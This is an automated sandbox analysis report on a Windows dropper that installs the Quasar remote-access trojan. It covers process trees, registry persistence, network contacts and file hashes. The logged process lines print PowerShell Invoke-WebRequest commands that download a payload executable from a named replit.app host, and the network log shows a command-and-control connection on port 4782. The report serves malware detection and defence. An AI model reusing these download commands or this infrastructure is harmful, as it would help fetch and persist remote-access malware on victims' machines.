Malware Analysis Report

2024-10-19 08:36

Sample ID 240730-wrmslawcqd
Target 8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe
SHA256 8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3
Tags
discovery execution quasar office04 persistence spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3

Threat Level: Known bad

The file 8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe was found to be: Known bad.

Malicious Activity Summary

discovery execution quasar office04 persistence spyware trojan

Quasar payload

Quasar RAT

Blocklisted process makes network request

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

.NET Reactor proctector

Checks computer location settings

Adds Run key to start application

System Location Discovery: System Language Discovery

Unsigned PE

Enumerates physical storage devices

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-30 18:09

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-30 18:09

Reported

2024-07-30 18:12

Platform

win7-20240729-en

Max time kernel

122s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe

"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B2BC.tmp\B2BD.tmp\B2BE.bat C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\B2BC.tmp\B2BD.tmp\B2BE.bat

MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

memory/1260-6-0x000007FEF6ACE000-0x000007FEF6ACF000-memory.dmp

memory/1260-7-0x000000001B620000-0x000000001B902000-memory.dmp

memory/1260-8-0x0000000002970000-0x0000000002978000-memory.dmp

memory/1260-9-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp

memory/1260-12-0x0000000002C8B000-0x0000000002CF2000-memory.dmp

memory/1260-11-0x0000000002C84000-0x0000000002C87000-memory.dmp

memory/1260-10-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp

memory/1260-13-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 ec1e9a130a7b1d16eea467dfe59a5dc1
SHA1 f99553beb65312219fd37ee6038868a93f00b809
SHA256 8ea5b63a4e03df3447a5818863afb7ba63075260deb1a7c83432a0f743f451fe
SHA512 41d219d1f22bc92b208def39b1a6def51bb9f7b16587bf69ac485116209a8169493bf3f7d177acd905b9d978e95499992264855293a10811241366de28267d57

memory/2744-19-0x000000001B5B0000-0x000000001B892000-memory.dmp

memory/2744-20-0x00000000026E0000-0x00000000026E8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-30 18:09

Reported

2024-07-30 18:12

Platform

win10v2004-20240730-en

Max time kernel

125s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe

"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C14C.tmp\C14D.tmp\C14E.bat C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"

C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

networkrunfdp.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 jdvdpconstructionltdfileportal.replit.app udp
US 34.117.33.233:443 jdvdpconstructionltdfileportal.replit.app tcp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 233.33.117.34.in-addr.arpa udp
US 34.117.33.233:443 jdvdpconstructionltdfileportal.replit.app tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 oshi.at udp
NL 5.253.86.15:443 oshi.at tcp
US 8.8.8.8:53 15.86.253.5.in-addr.arpa udp
US 192.228.105.2:4782 tcp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 192.228.105.2:4782 tcp
US 192.228.105.2:4782 tcp

Files

C:\Users\Admin\AppData\Local\Temp\C14C.tmp\C14D.tmp\C14E.bat

MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

memory/1252-2-0x00007FF9D7B93000-0x00007FF9D7B95000-memory.dmp

memory/1252-8-0x0000024BC33C0000-0x0000024BC33E2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_50cds5t0.p5w.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1252-13-0x00007FF9D7B90000-0x00007FF9D8651000-memory.dmp

memory/1252-14-0x00007FF9D7B90000-0x00007FF9D8651000-memory.dmp

memory/1252-17-0x00007FF9D7B90000-0x00007FF9D8651000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a2b24af1492f112d2e53cb7415fda39f
SHA1 dbfcee57242a14b60997bd03379cc60198976d85
SHA256 fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
SHA512 9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

MD5 a18b7de2990becc30f700720e19ebfef
SHA1 b48c1a5c7756bccfe05d7999daeb96e7ab688cfd
SHA256 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5
SHA512 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b

memory/3300-33-0x0000000000590000-0x00000000005FE000-memory.dmp

memory/3300-40-0x0000000005830000-0x0000000005B55000-memory.dmp

memory/3300-41-0x00000000062A0000-0x00000000065C4000-memory.dmp

memory/3300-42-0x0000000006B70000-0x0000000007114000-memory.dmp

memory/3300-43-0x0000000006020000-0x00000000060B2000-memory.dmp

memory/3300-44-0x00000000061B0000-0x00000000061BA000-memory.dmp

memory/3300-45-0x0000000006810000-0x0000000006860000-memory.dmp

memory/3300-46-0x0000000006920000-0x00000000069D2000-memory.dmp

memory/3300-47-0x0000000007740000-0x0000000007D58000-memory.dmp